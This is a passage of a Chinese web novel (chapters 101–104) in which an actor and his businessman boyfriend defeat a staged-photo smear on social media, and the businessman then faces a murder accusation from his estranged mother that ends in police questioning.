江时老家在村里不是什么秘密,再加上程野穿得跟农民工似的,虽然偶尔会上新闻,但电视上的形象和私底下的形象完全不一样,再加上财经频道没什么人在意,因此完全没人发现他的身份。 一个女人看了眼程野,笑着道:“你们村是不是专出帅哥,怎么一个两个都这么帅?” 程野张嘴欲言,江时忽然打断他,“其实他是我男朋友。” 他话音一落,不仅满桌的人愣住了,就连程野也愣住了。 江时抬手比了个“嘘”的手势,“悄悄的。” 圈里的规矩大家都懂,只是打量的眼神忍不住一直往程野和江时身上瞟。 虽然乍一看两人根本不是一个路数的,但看久了还莫名有点配…… 糙汉配美人什么的。 程野一顿饭吃得那叫一个心不在焉。院子里围着一帮人,他又不好意思做什么,只能耐着心底的火,哐哐把锅碗洗了,又把院子里打扫干净,甚至还把大伯隔壁菜园的草给拔了。 盼星星、盼月亮,人终于都走了,就连耳背的大伯也睡了。 程野把江时往屋里带。 江时手里拿着蒲扇,“干嘛呢,我还要在外面纳会凉。” “别纳了。”程野道:“你还记得你刚刚说什么吗?” 江时眼底划过一丝狡黠的笑,“我刚刚说的很多,你具体指什么?” 向来一贯厚脸皮的程野竟然还有点不好意思,不怎么明亮的灯泡照着他的脸。 麦色里浮着一层红。 “你说我是你什么?” 江时摇了摇扇子,“是什么?你不是我老乡吗?” 程野急哄哄地亲了他一口,“我听见了,听得真真切切,你跟别人说我是你男朋友。” 他一口啃下去,江时嘴角红了点。他拿着扇柄敲了下程野肩膀,“这么激动干什么,不知道的还以为你是我地下情人。” 程野不说话,拿着头拱他肩膀,全身上下散发出一股求爱的信号。 夜色寂静,墙下蟋蟀叫声断断续续,月亮从窗柩漏着点光进来,一高一矮两个身影重叠在一起。 江时被程野压在墙上亲,男人的手探进他腰间,他伸手按住,眼尾泛着红,勾子一样勾着程野。 “程野,你觉得我好看吗?” 程野入迷一样看着他,“好看。” “这个圈子里天天都有新人,各有各的好看,我是好看的那个,但不是最好看的那个,如果有一天,有比我年轻、比我好看的人站在你面前……” 说到这里,江时闭了下眼睛。 “没人会永远好看。” 程野捏着他的下巴,勾着他的舌尖咬了口。 “你好看的前提是因为你是江时。” “江时不会永远都好看,但没人会是江时,世界上只有一个江时。” “程野爱的只有江时。” 第102章 月光皎洁,影子高低错落。 年久的木床发出一声沉重吱呀声,江时的头陷进柔软的枕头里,男人的身躯覆盖在他身上。 上面两人的衣着还算整齐,底下却泞泥。 江时半阖着眼,潮气从下往上涌,雾气氲湿他的双眼,他被碾得破碎,声音从齿缝里挤出来,然后想起什么,又死死咬住下唇。 程野伸手捻开他的唇,汗水从他额角滑落,溅在青年透着薄红的眼皮上。 “叫出来,没人听得见。” “不……不行……老伯……” “老伯耳背,除非你把屋子给掀了。” 事情顿时变得有些失控起来。 江时大脑昏昏沉沉,像个提线木偶,被程野牵着,浮起又沉下。不知过了多久,男人伸手捂住他的嘴,“嘘,来人了。” 他睁着双迷蒙的眼睛往门边看去。木门紧闭,格子窗在上面投下屋后的竹影,深深浅浅。 然后是脚步声响起,紧接着有人抬手敲了敲门,“江时哥,你睡了吗?” 是李纵的声音。 江时睁大了双眼,不是因为李纵的到来,而是因为身后男人的动作。 那么深,他怀疑都快顶到胃了。 李纵在门外说:“我知道你对我有误会,我们聊聊好吗?” 大晚上的,孤男寡男,江时不知道他跟他能有什么好聊的。 见他没回应,李纵又接着道:“我也不想那样对你,但我养父没钱治病,我才大四,我妈又什么都不会,霍寂找上门来……” 他苦笑了声,“你知道的,那钱对我来说就是救命钱。一开始我并不知道你和我哥是那种关系,我喜欢你,霍寂说可以给我机会让我接近你,我自然高兴得不行。” “我是卑劣,靠着卖惨接近你,可我说的那些都是真的,不信你可以去查。” “江时哥……”他压低声音,“你能可怜我哥,就不能可怜可怜我吗?” 江时……江时说不出话来,他的嘴被程野捂着,神色失焦,眼泪不争气地滚落,濡湿男人的掌心。 程野张嘴含住他的眼泪,靠在他耳边,声音低得只有俩人听见。 “好可怜啊江时哥哥,哥哥是想可怜我还是想可怜他?” 江时讲不出话,爽得张嘴咬住程野的手。 见他一直不回应,李纵莫名有些焦灼。他知道江时醒着,但他一直装睡,他也不能破门而入。 “江时哥,你不见我,难道也不在意霍寂究竟要对你做什么吗?” 程野舔了下江时的耳朵,“让他进来。” 江时朝他看去。 男人宽厚的身躯把他整个人笼在怀里,哪怕隔着门也不愿意让外面的人看见一分一毫。 程野松了点手,“好戏才刚刚开始。” …… 十分钟后,屋子里终于响起江时的声音,“等我两分钟。” 两分钟后,江时披着外套开了门。他脸上神色很淡,只有那双眼睛,像大雨过后的潮湿,泛着水灵灵的雾气,又带着点刚平息一场风波的汹涌。 勾得李纵的目光黏在他身上,心底泛着痒。 他跟着江时进了屋。 不怎么亮的灯照亮屋子,里面的摆设很简洁,角落里放着一个半合上的行李箱,被子掀开一个角,格子窗朝外撑开,晚风送了进来,风里带着屋外竹子的清香,还夹杂着点李纵说不上来的味道。 江时坐在床上,外套拢得很紧,脖子遮住半边,交叠双腿。 “你找我到底要说什么?” 李纵站在他面前,明知道这样做会惹得江时厌烦,可目光还是忍不住落在他身上,喉咙发痒,他掩唇咳了声。 “霍寂找到我,他让我引诱你。” 江时听完,嗤笑了声,“他是太看得起你还是太看不起我?” 屋子里连张椅子也没有,李纵自然不敢跟江时坐一张床,对方也没有招呼他的意思,于是他半蹲在江时面前,灯光把俩人的影子投在墙上,亲昵地凑在一起。 “我们是兄弟,哪怕分开了这么多年,成长的经历也不同,但有的基因是刻在骨子里的。” 比如他也会喜欢上江时,他也知道要怎么博取江时的欢心。只可惜他来得太晚,那些被人使用过的把戏他再使用时显得多么的可笑。 李纵不恨江时。 他握紧拳头。 他只恨那个贱种怎么不早点死。 他早该死了,死在那个雨夜,死在溪柳村寒冷的二月。 李纵把手藏在衣服里,脸上露出一个柔软的笑,“我来剧组也是他安排的,宴会上的事也是他策划的,可我发誓,我跟你说的那些事都是真的。” “我知道骗你不好,可我爸就这么躺在医院里,我妈天天在家以泪洗面,我也没有办法……” 他往前挪了一步,靠近江时,“我可以把霍寂的计划都告诉你,我只求你,不要像早上那样对我。我……我不求别的,只求我们能当朋友。” 他语气卑微,“当朋友就好……” 窗外树影重重,江时听到了什么踩在石头上的声音。 他弯腰靠近李纵,“霍寂的计划是什么?” 见他愿意听他说话,李纵的眼睛亮了起来,他站起想跟江时说明白,结果不知道是因为蹲久了腿麻还是什么,站起来的瞬间没站稳,一个趔趄朝江时扑去。 江时伸手接了他一下。 下一秒,门轰的一声就被推开了。 程野站在门口,脸色难看至极,“你们在干什么?” 江时嘴角抽了抽。 李纵下意识站起身,“哥,你别误会,我只是来找江时哥解释清楚……” 程野一把揪起他的衣领,把人拽离江时身边,一拳就挥了过去。 他这一下跟江时那一下压根不是一个力道,不消片刻,李纵的脸就肿了起来。 程野脸色黑得吓人。 “什么样的话要大晚上的两个人在床上说?我要是不来,你们是不是还得脱了衣服说?” 他说完话,朝江时看去。 江时愣了两秒,也冷着张脸,“程野你什么意思,你怀疑我和他有什么?” 李纵捂着脸站在两人中间,“哥,你真的误会了,我跟江时哥不是那样的……” “哥?谁是你哥?还江时哥,几天不见,你们就叫这么亲密了?” 说完,程野又给了李纵一拳。 江时偏过头咳了声,连带着肩膀抖了好几下。 李纵充其量也只是个白面书生,哪里是程野的对手,才不过两下,嘴里泛起血沫。他眼底闪过一丝怨毒,很快又收敛了下去。 程野往江时那边走了两步,李纵手疾眼快地拽住他,“哥,你有什么冲我来,不要为难江时。” 站在他跟前的男人回头,他肩上染着深夜的露气,可比露气还冷的是他眼底的神色。 “你是他的谁?他用得着你替他说话?” 李纵只是道:“我跟他真的没有什么,我来找他也只是想把事情解释清楚……” 下一秒,程野当着他的面掏出手机,“那你来告诉我,这是什么?” 江时眼尖地瞟了眼,上面是张照片,是早上李纵蹲在他身边说话的样子,两人脸上都带着笑,看起来还真有几分关系好的样子。 他又看了眼程野,程野把手机收了。 李纵说:“我们只是正常的交谈,你要是觉得有问题,可以问片场的人。再说了,你连江时哥和什么人说话、和什么人见面都要管吗?在你心底,你就那么不相信他?” 叽里呱啦的,江时一个字都没听进去,他不适地动了动,感觉到有什么东西正在往外流。 他闭了下眼睛,这回脸色是真的很难看了。 李纵看见了,以为他说到了江时心坎上。 他站直身体,直视程野的目光,“你们是情侣不假,可是再亲密的人也需要自己的空间,他是你的伴侣,不是任你操控的木偶……” 程野铁青着脸一把拽过他,“滚出去。” 李纵不愿意,他朝江时看去。 程野像条捍卫自己领地的雄狮拽着他出了房间,他咬着牙警告李纵,“滚远点,信不信我真能杀了你。” 李纵被他目光里的冷意吓了跳,再回过神来时,门已经在他眼前合上。 里面传来噼里啪啦的动静,程野压抑着怒火的质问,以及江时的沉默。 李纵勾着唇笑了。 他舔了舔嘴角,离开屋子。 山里的夜太安静了,月光皎洁得将他的影子清晰地投在地面。群山沉默,静谧的凝视着所有人。 李纵厌恶这样的沉默,这里的山跟溪柳村的山一样,让他感到厌恶。 还有那双像狼一样的眼睛。 恶心、恶心、恶心! 他在风里站了许久,才拿着手机拨通了个电话。 “霍先生,一切按您说的做了。” 霍寂在电话那头笑。 “干得不错,你爸我给他找了最好的专家,等江时和程野分开后,剩下的钱我会给你。” “至于你……”霍寂哼了一声,“别打什么歪主意,就你这样的,如果不是我,哪里会有认识江时的机会?别肖想不属于你的东西。” 李纵的声音听起来很怯弱,“怎么会,如果不是你,我爸早死了,我怎么可能还会想别的……” 他在霍寂跟前一向这样,霍寂也没觉得有什么不对,嘱咐了他两句就挂了电话。 李纵拿着手机看了看,摸了摸脸上的伤,扭头看着身后还亮着灯的屋子,抵着牙露出一个笑。 第103章 程野大半夜的在院子里烧火。 这么多年过去,他烧柴火的手艺还没落下,没一会火就生了起来。 他把大伯放在院子里的大铁锅给刷了,打满水烧给江时洗澡。 江时坐在椅子上,手里抓着把石子,看程野不顺眼了就往他身上丢。 程野自知理亏,被打了也不敢吭声,默默把火烧得更旺。 江时说:“行啊你,以后我就叫你程影帝好不好?” 程影帝往灶里丢了几个红薯,默默挪到江时身边,一副老实人的模样。 江时伸手揉了把狗头,“说吧,怎么回事?” “李纵的目的不是钱,他压根就是想破坏我们的关系。我在来的路上收到了刚刚我拿给他看的那张照片,如果我收到照片的时候还在江城,根据到这边的航班,我到的时候差不多是他找你的时间。” “我猜到他估计要搞事,所以就将计就计。” 江时换了个姿势,“你是说,他想让我们产生误会?” 火钳在程野手里捏得咔咔响。 如果不是程野把江时看得堪比眼珠子、心肝子,一听到高新和的报信坐都坐不住就赶了过来,只怕是真如他算计的那样了。 “我来的时候走得急,没人知道。后面收到消息觉得不对,让陈朗假扮了下我,又让导演拖着他,所以他压根不知道我提前来了。” 江时默然。 难怪刚刚吃饭的时候他让满桌的人不要把他来的事往外说。 他看着程野拿着火钳当成李纵在地上戳戳戳,问他,“如果你没有提前来,真像他计划那样看见那一幕,你会相信我吗?” “那当然。”程野回答得很肯定。 江时挑了下眉,“这么肯定?” 程野莫名自信,“他没我帅,没我高,还没我有钱,就一副死绿茶的样子,你喜欢他我都瞧不起你。” 江时:“……” 江时慢悠悠地,“可他比我年轻,小鲜肉知道吗?” 程野说:“我也比你年轻,江时哥哥。” 江时受不了他喊江时哥哥,伸手捂住他的嘴,“程总,你的员工们知道你私底下这个样子吗?” 程野含糊不清地说:“他们私底下只会喊我程扒皮以及程抠门。” 当霸总当到程野这个份上也是没救了。 江时松了手,问他,“那我们接下来怎么办?” “他不是挺会搬弄是非吗?以其人之道还至其人之身。”- 江时第二天也没戏份,难得睡个懒觉,结果天才刚亮,就被刘和平的电话给叫醒了。 枕边还有温度,程野估计刚起没多久,江时摸了摸,总算摸到了手机。 “大清早的干什么,天塌了?” 刘和平化身尖叫鸡,“天真的塌了,江时,你上热搜了!” 江时打了个哈欠,“上就上呗,我什么时候没上过热搜?” 他在娱乐圈主打一个真性情,不喜欢的连个微笑都懒得给,这么多年来,黑红参半,每次一有什么活动,注定就是一场腥风血雨,上热搜那简直就是家常便饭。 “这次不一样……”刘和平说:“这次是关于李纵,你跟他谈了?” 江时垂死病中惊坐起,“不是刘哥,你别瞎说,程野可是会吃人的。” 刘和平:“……” 他哽了哽,“你热搜怎么回事?” 江时刚睡醒,哪知道什么热搜。屋里网速不太行,他挂了电话,捞起件外套就往外面走。 程野闲不住,在给大伯犁地,老黄牛慢吞吞地,犁地还不忘伸着脖子去够旁边的草。 江时打开热搜,上面密密麻麻飘着都是他的名字,看得江时都快不认识江时这两个字了。 高新和估计也是被刘和平给吵醒的,顶着个鸡窝头跟江时蹲在院子里开始分析热搜。 两人从时间线开始扒。 最先爆的是江时把李纵揍的片段,高清的、无码的,两人的脸都没遮挡,把江时揍李纵的画面完完整整拍了下来。 #江时打人# 江时的黑粉显然陷入了狂欢。 【你看吧,我就说江时这种人迟早会塌房,真当自己是黑社会呢,说打人就打人。】 【这么明目张胆地欺负人,私底下得成什么样了?】 【垃圾艺人,滚出娱乐圈!】 而他的粉丝还在试图给他挽尊。 【不知全貌,不予置评,谁知道发生了什么,就配个视频,还不是营销号想说什么就说什么。】 【就我家那位懒得像猫的性子,多看别人一眼都嫌累,能上手打人,还不如问问这个人干了什么天怒人怨的事。】 新闻是半夜发的,大家都在睡觉,只有网友在活跃。 炒了半天,没吵出什么结果,于是众人开始扒这个李纵是何许人也。 这一扒,就扒出了不得了的消息。 先是据说是剧组工作人员发出来的照片,也就是程野收到的那张,那场面看起来也不像是关系不好的样子,于是网友猜测估计发生什么矛盾了。 再然后,一位一百多万粉丝的爆料博主出场了,他发了个意义不明的表情,什么都没说,直接甩出两张照片。 一张是江时和李纵面对着坐在酒店里,江时笑着递出一张纸片,而李纵神色难看。 另一张是江时住的屋子,画面很模糊,只能看到两个人挨得很近,但蹲着的那个人衣服赫然就是李纵的,墙上的投影能看到李纵低着头,匍匐着,动作很暧昧。 #江时包养李纵# #江时,同性恋# #江时,恋情# 后面都跟着个鲜红刺目的“爆”字。 高新和都快哭了,“我靠,我就睡了一觉,怎么醒来天都变了?”他扭头看向江时,“小表哥,你都背着我干了什么?” 江时给了他一脚,“滚犊子。” 他看了眼还在犁地的程野,收了手机。 高新和快急成热锅上的蚂蚁了,“不是,表哥,你就这么收了手机?不管管吗?” 江时气定神闲的,“管什么?我又干不了什么,只能等刘哥花钱把热搜给去了。” 高新和:“……” 话是这样说,但你不觉得你太淡定了点吗? 程野擦着汗走过来,问江时,“上热搜了?” 江时“嗯”了一声。 见两人这样,高新和总算明白了,原来小丑鼻子长在他脸上。 他顶着小丑面具跑去给江时领早餐。 江时看了眼他的背影,收回目光看向程野,“再等等?” 程野“嗯”了一声。 这一等,等到了李纵的微博。 比起澄清,他的话看起来更像是间接承认。 【大家有什么不满就冲我来,江时老师是个很好的人,他对我也很好,不要骂他。】 下面跟着好几条热评。 【你要是被威胁了就眨眨眼。】 【翻译:我们虽然是包养关系,但都是我自愿的,你们不要找我金主的麻烦,让我一人来承担网友的怒火。】 【江时一个月给你多少钱啊?】 刘和平气得想拿刀把李纵砍了。 “他什么意思?他这话是什么意思?!老子今天非得把这龟孙做了不可!” 江时安慰他,“好了、好了……没必要为这种人置气。” 刘和平顿时警惕起来,“你怎么这么淡定,你不会真跟他有什么吧?” 江时说:“你看看他的脸,再看看我的脸,到底谁想包养谁?” “……” “行了,剩下的事你别管,交给我就行。” “你要干嘛?” 江时干了件一直以来都想干的事。 他发了张照片,上面是两只手带着戒指交叠在一起,然后配文。 【有对象很多年,感情很好,另一半很帅,丑男别沾边。】 照片上的两只手颜色一深一浅。白的那只很好认,江时的手甚至被粉丝截屏做了合集,下面一堆舔的。深一点的手骨架很大,比江时都大,一眼看去,绝对不会是女生的。 于是#江时,同性恋#的热搜又被顶了上来。 一发完,江时整个人都舒畅了。 自从进圈以来,刘和平天天在他跟前耳提面命,这也不能干,那也不能做,他早就烦了。 他是演员,不是靠粉丝吃饭的爱豆,如果连自己的爱人都不能公之于众,再风光又有什么用? 大不了就退圈。 反正江雪开了个菜摊,他还能去当个前台收银的。 星汇的公关像是收到了什么指令一样,之前一大长窜热搜只是象征性压了压,等到江时一发言,立刻就行动了。 公关部发了条视频,视频做了消声处理,但能看出屋子外面的李纵一直在敲门,他在外面站了足足十多分钟,一直凑在门边,像是在祈求里面的人。 终于,里面开门了,露出江时的脸。 摄像头的位置很刁钻,哪怕在门外,也能透过门边的小窗隐约看到里面的景象。 两人先是面对面站着,然后李纵蹲下了。视频里,他不经意地动了动位置,墙上影子交叠在一起,形成了热搜里的画面。但现实是,两人中间至少隔了一米。 再然后,李纵站起来,朝江时跌去,江时扶了他一把。 之后昨天跟江时吃饭的明星纷纷出来发言。 【见过江老师男朋友,很帅,对江老师很好,某些人不要乱碰瓷。】 【你是说江老师男朋友下午五点到,跟我们吃了个饭,然后在跟江老师睡一起的情况下,当天晚上当着他男朋友的面私会小明星?】 配图是大家围在一桌吃饭的照片,江时身边坐着个打了码的高大男人,两人的姿势很亲密。 【说睡在一起,那为什么视频里没有他所谓男朋友的身影?】 江时回: 【他害羞,见不得陌生人,我让他翻窗逃走了。】 【那江时打人怎么说?】 江时又回: 【打他纯属私人恩怨,你可以骂我没有素质,但你不能说我是因爱生恨。我对他只有恨,没有爱。】 【那包养怎么说?支票都给了,难不成这个也是假的?】 江时大有干完这票就不干的架势。 【我给钱就是包养啊?就他那张脸,白给我都嫌晦气,我给钱只是想让他离我远点。】 网上顿时那叫一个腥风血雨,乱成一锅粥。 刘和平快给江时跪下了。 “祖宗,我叫你祖宗成不?你到底想干什么?你还想在这个圈子里混吗?” 江时说:“混也成,不混也成,娱乐圈对我来说就是一份工作,这个干不了换一个就是,退圈死不了人的。” 刘和平:“……” 悬了这么多年的心,终究还是死了。 比起江时和网友对喷的行为,李纵做的事才让人感到心惊。 【也就是说,要是没有那段视频,哪怕江时出来解释也是有口说不清,甚至还坐实了跟他有种不清不楚的关系。】 【不是,他那段模棱两可的发言是怎么回事?碰瓷吗?他是哪根葱啊,圈里查无此人,甚至还是个新人,就这么水灵灵地跟流量那么大的江时扯上关系了?】 【谁说黑红不是红。】 【别装死,滚出来解释清楚。】 嘭—— 手机被狠狠砸在地上,下一秒,电话就响了起来。 碎裂的屏幕上跳动着霍寂的名字。 李纵抹了把脸,阴沉着脸盯着上面的字看了许久,才缓缓弯腰捡起手机。 “霍……霍哥……” “这就是你跟我说的按我说的做?” “对不起……”他嗫嚅道:“我的确按你说的做了,但我不知道程野还放了摄像头,这根本就是一个局……” “废物!连点小事都办不好!” 李纵勾了勾唇,“我们不是还有一招吗?” 电话那头沉默了瞬,“哪怕不能让他们分开,我也要让程野身败名裂。” 李纵挂了电话,陈旧的风扇在他头顶转,发出吱呀吱呀的声音,他拿着手机出了房间。 窗外的梧桐抖擞着翠绿的叶片,女人从厨房里端了碗汤出来,她看着李纵的脸色,擦着手小心翼翼道:“小纵啊,妈妈炖了汤,别生气了……” 李纵坐下来吃饭,他肩背挺得很直,略显秀气的脸上带着几丝阴沉,眉眼阴郁。 女人坐在他旁边。 明明两人是母子,可她看向李纵的眼神里总是藏着惧怕,惧怕里又带着依赖,连讲话都要等他停下筷子才敢开口。 “你爸爸那边……” 李纵咀嚼的动作顿了顿,“霍寂今天就把他的药给停了,要是再没药,我也不知道他还能等几天。” 高兰一听,瞬间慌了,她伸手去拉李纵的手,“那……那怎么办呀?要是我们不管他,你爸爸的那些亲戚会不会来为难我们?” “为难什么?”李纵把手抽出去,“养了他那么多年,他们也该知足了。” “比起这个……”他看向自己的亲生母亲,“你应该更担心点别的。” 高兰愣了愣,“什么?” 李纵轻笑了声,“你的好大儿,你说要是他知道你当初做了什么,他会轻易原谅你吗?” 高兰被他眼底的笑灼伤眼睛,“你什么意思……不是你让我……” “我让你?妈你真搞笑,我那时候才多大,我能让你干什么?你觉得你说出去他会信?” 他又转手拉住高兰的手,语气带着浅浅的怜爱和忧愁,“我知道你不容易,可是妈,自从我上大学以来,养父的医药费大部分一直是我在承担,我们答应了人家,他们供我读完大学,我要给他养老,我们不能食言不是?” “因为这事,我被程野从他公司赶了出来,现在又因为他连剧组的工作都丢了,我已经尽力了。” 猛然一下听到程野这两个字,高兰的脸刷一下就白了,整个人不受控制地抖起来。 李纵像是没看到。 他嗓音轻柔。 “我能做的都做了,妈,现在该到你为我、为这个家做些什么了。”- 江时的事闹得有些大,对他影响最大的不是打人事件,而是他公然出柜。 虽然现在风气开放了很多,同性恋不再受歧视,但终归不是主流。江时手里头的工作几乎都停了,连剧组也停拍了,刘和平心累的给他放了个长假。 他叮嘱江时,“你最近千万控制住不要上网,特别是社交软件,不要上去看,有什么要紧的事我会通知你。” 江时也听话的没去看,他也没什么时间看,他去见了个人。 李雪岚,霍寂的未婚妻,眼看着还有半个月要结婚,江时终于在一家私密性极好的咖啡店见到了她。 对方长相温柔,性子也温柔,出来是为了看婚期定制的珠宝,被江时强制“请”过来也没生气。 “我认得你……”她笑了笑,“想要见我直接来我家就行了,何必还要弄这一招。” 江时把点好的咖啡往她跟前推了推,“是急从权,去你家找你太引人耳目了,只能出次下策。” 李雪岚端着咖啡喝了口,垂下眼睛,“你找我是为了什么?霍寂?” “你知道我和他的关系?” “知道一点,但不多。” “我不清楚你究竟知道些什么,但你应该知道他这个人是个同性恋吧?” 李雪岚闻言肩膀僵了僵,随即,她露出一个苦笑,“知道有什么关系,不知道又有什么关系,我跟他不过是利益交换,这场婚姻里,我才是最不重要的那个。” “但是李小姐……”江时说:“这可是你一辈子的事,你难道就甘心把你的下半生交付在这样一位人渣手里?” “你是人,你有生命、有思想,也有自由,你不是任人操控的提线木偶,你应当有选择的权利。” “不要为了这样一个人葬送自己美好的一生。” 说完,他在李雪岚跟前放下一张纸条,上面写着他的电话,“我可以帮你,但具体怎么选择看你。” 李雪岚盯着那张纸条看了许久,最后还是收了起来。 他见了李雪岚还没几天,一则视频忽然传遍全网。 视频里的女人面容很沧桑,皱纹爬满她的脸,她似乎有些害怕镜头,讲话时目光总是垂着。 她哭着断断续续地讲述一段往事。 “他打我,扯着我的头发打我,手打断了,腿也打断了,邻居看不过去来制止,等人走了他打得更凶。” “我想跑,做梦都想跑,可我一个女人,带着两个娃哪能跑得掉。小的那个五六岁,大的读小学。大的那个像他爸,小的那个像我。” “程建斌对大的那个好,因为那个像他。小的那个像我,又是早产,身体不好,帮不了他干活,他觉得晦气,打我就算了,娃也打。” “他不是人啊,那么小一个孩子也下得去手,他心被狗吃了。于是趁着他喝醉,我带着小儿子跑了,大的……大的抓住我不让我走,甚至还想把程建斌喊出来。” “我就跪下来求他,求他让我走。” “他毕竟是我孩子,他也是我身上掉下来的一块肉,我舍不得他,稳定下来后我又偷偷回去了。” “然后……” 女人掩面而泣。 “我带着弟弟走了,程建斌把怒火都转移到他身上,他受不了,就……” 记者在画面外追问。 “就什么?” 女人嘴角颤抖,“就……就把他亲爹给杀了。” “我亲眼看见的,他把他爸给杀了,他给他喝毒酒,他把农药下到酒里,他要他死。” “我知道他怨恨我们母子俩,他要是有什么不满就冲我来,我愿意承担一切。纵儿他什么都不知道,当年他只是个五岁的孩子,他是他亲弟弟啊,他不能这么对他……” “程野……李纵他是你弟弟啊……” 采访戛然而止。 嗡地一下,江时大脑瞬间空白一片。 他连鞋也顾不得换,拿着手机就冲了出去。 刘满给他打电话。 “公司门外面被记者围满了,你过来别走正门。” 江时扣上安全带,问刘满,“现在什么情况?” 刘满满嘴苦涩,“我哪知道什么情况,记者哪想了解什么真相,嘴里嚷嚷着让程哥出来,只差没指着他的鼻子骂杀人凶手了。” “程野呢?” “程哥在办公室里,这种事没人敢问,公司上下人心惶惶的。” 说着,刘满骂了句脏话。 “阴魂不散的两个贱人,小的时候把程哥害得那么惨还不够,现在他好不容易摆脱过去,好不容易有了新生活,公司刚接到几个亿的大单子、刚研发出的新产品、刚……” “没了,通通没了,什么都没了。” “他们是要毁了他一辈子吗……” 江时捏紧手机,咽下喉咙里涌上来的血气。 “等我过去。” 过了五分钟,刘满说。 “不用来了,程哥被警察带走了。” 第104章 八月,晴了二十多天的江城终于下了一场雨。 夏季的暴雨来得汹涌,江时踩着泞泥的街道进了警察局。 和外面的狂风骤雨相比,里面很安静,拿着资料的警员从过道里过来,看见没戴口罩的江时时愣了愣。 “江……江时,你怎么会在这里?” 江时揉掉眼角的雨水,“你好,我是程野的家属,我来找他。” 警员愣了会才反应过来,“原来你们是……你跟我来吧。” 他走前面带路,“你别担心,我们带程先生过来只是例行询问,毕竟出了那样的事,社会反响很严重,警察局不可能坐视不理。” “只是目前程先生不是很愿意配合我们,你到时候进去,多劝劝他。舆论是舆论,真相是真相,舆论是成不了真相的,只要他没做过,我们一定会还他清白。而且……” 警员压低了声音,“根据我目前了解到的资料,当时程先生还没成年,再加上他又是那样的家庭环境。不要想得太悲观,一切还有机会。” 他抓住们把手,“但前提是,他得配合我们,不然就真的有理也说不清了。” 说完,他拉开门,“江先生,里面请。” 程野在当地也算小有名气的企业家,警局说是带走,其实给他安排了间比较舒服的休息室。桌子上放着茶水,程野坐在沙发上低垂着头。 他身上的通讯设备都被拿走了,只有手腕上那支戴了好多年的旧手表还在机械地走着。 听见脚步声,他头也没动一下,直到鼻尖送进来一抹香气。 他蓦地睁眼,拔起脑袋,对上青年湿漉漉的眼睛。 程野一下子就站了起来,他一把拉过江时,“他们欺负你了?” 站在江时身后打算给他倒杯热茶的警员:“??” 江时照着他的脑袋给了他一下,“我那是被雨淋的。” 程野被打得像只被主人嫌弃的狗。 他在警局里坐了半个小时,一句话也没说,嗓子憋得发哑。他谁也不信,只是盯着江时,“我没杀人。” 江时说:“你跟我说有什么用,你跟警察说啊。” “……” 警员放下手里的杯子,“程先生,你的亲生母亲就在隔壁,她言之凿凿地说你杀了你父亲,如果你再沉默下去,我们就只能当你默认处理了。” 江时拽着程野坐下。 程野还是沉默。 江时说:“你再不说我等会出去就去找霍寂。” 程野眼睫颤了颤,他像是在极力压制、忍耐什么,汹涌的情绪在他胸腔起伏着,几乎要挣扎着破土而出,然后被他混合着冷掉的茶水一点点咽下,只剩下死一样的寂静,以及咀嚼在嘴里的苦涩。 “我没有杀他。” “那天村里有人猎了个兔子,他去喝酒吃兔肉,不知不觉就喝多了。” “他喝到晚上才回来,走的小路,没什么人经过,再加上那天晚上下雪,家家户户都在家里,等发现他尸体的时候已经是第二天中午了。” “他在雪地里躺了一整晚,尸体早就僵了,更别说救回来。” “我没撒谎,那天喝酒的人都可以作证。” 警员拿着本子记录,旁边的另一个警察问程野:“那你生母说亲眼看见你往酒里倒农药是怎么回事?” “我……” 程野每讲一个字都艰涩无比。 “她那年过年回来了。她是偷着回来的,没人知道,程建斌让我去街上打酒给他喝,我拿着瓶子去了,我不记得我有买过农药,更别说往酒里放药。” …… 夏季的雨来得快,去得也快,等江时和程野从警局出来时雨已经停了。 乌云散开,天空碧蓝如洗,刘满站在门口焦急踱步,看见他们立马就围了上来,“怎么样了?” 江时忧伤叹气,“完了,你程哥杀了人,要被判无期徒刑了。” 刘满一下子就瞪大了双眼,“怎么会这样?他爸就是个畜生,死有余辜。哪怕真是程哥杀的,他也是被逼无奈,凭什么要判无期徒刑?” “谁知道呢……”江时拍了拍他肩膀,“你跟你程哥能见面的机会已经不多了,好好珍惜现在的相处时光。” 刘满当即就哭了,“哥,要不我去说人是我杀的吧?反正我没家庭也没老婆的。” 程野:“……” 江时扑哧一声就笑了出来。 刘满看看两人,又看了看头顶湛蓝的天空,也跟着笑了。 笑着笑着他又哭了,“人是没事,可我们难道就这样莫名其妙被那个疯女人摆一道吗?” 不远处蹲着几个记者,闪光灯如同尖刺射过来,江时站在程野跟前,眯着眼睛往那里看。 “那些被她附加在程野身上的,我会一桩桩、一件件,全部向她讨还回来。”- 事情远没有结束,警察还在调查,可追捧热度的新闻媒体却已经认定程野就是杀人凶手。 网上铺天盖地都是谴责批评程野的稿子,新闻、热搜……上面全是那位母亲颤抖啜泣的身影,她以一个弱者的角度哭诉着自己的不易,这样好像所有过错都在那位年轻有为的资本家身上。 公司门外面每天都围着记者,连大门也被砸了,他们在楼下怒斥着让杀人凶手伏法…… 江时站在大楼往下看,楼层太高了,人显得像蚂蚁一样渺小。那一刻,在他眼里,那些人其实跟蚂蚁无异。没有大脑,没有思想,几句轻飘飘的话就可以操控。 陈朗站在他身边说:“背后有人在操控,热度非但撤不下来,反而一直在升。” 手机上传来消息,江时打开看了眼,上面是条陌生的短信。 【我等着你来求我的那天。】 求? 江时嗤笑了声,删掉短信,“降不下来就不管,给我把那些发帖的媒体、报社、记者全记下来,有一个记一个,全给我告了,一个也别留。” 他冷着目光往下看,“不是要法律还受害者一个公道吗?我让他们知道,什么才叫真正的公道。” 楼下的景象多看一眼都觉得心烦,江时转身坐回沙发上。他问陈朗,“警察调查得怎么样了?” “正在查,毕竟是很多年前的老事了,村里又没监控,查起来有点麻烦。程建斌醉酒死在雪地里这事好问,就是高兰非说自己看见程总往酒里倒农药这事……” 陈朗看了眼江时的脸色,“警察说,她说得太笃定了,不像是说谎,所以这事他们还得去查证。” “而且……警方其实已经发了通告,但网上舆论发酵得太厉害,口诛笔伐,字也是能杀人的刀,在他们眼里,程总已经是杀人凶手了,哪怕结果出来,恐怕……” 他第一次见江时那双眼里全是刺人的尖锐,“恐怕什么?他们说是就是,他们说不是就不是么?天底下哪有这样的道理!” 陈朗露出一个苦笑,“你在圈里,应该比我更清楚舆论的影响力。” 江时咬着牙沉默了。 铃声就是这个时候响起的。 归属地来自林城,他看了会,鬼使神差地接了。 “江时,还记得我吗?我是李彩英。” 江时愣了愣,从回忆里翻出一个圆脸女生的样子。 李彩英说:“我现在在去往林城的火车上,高考的时候,我妈让我去学医,但我最后还是报了北方的新闻专业。” “我是一个记者,我相信程野,所以我来林城寻找真相。” 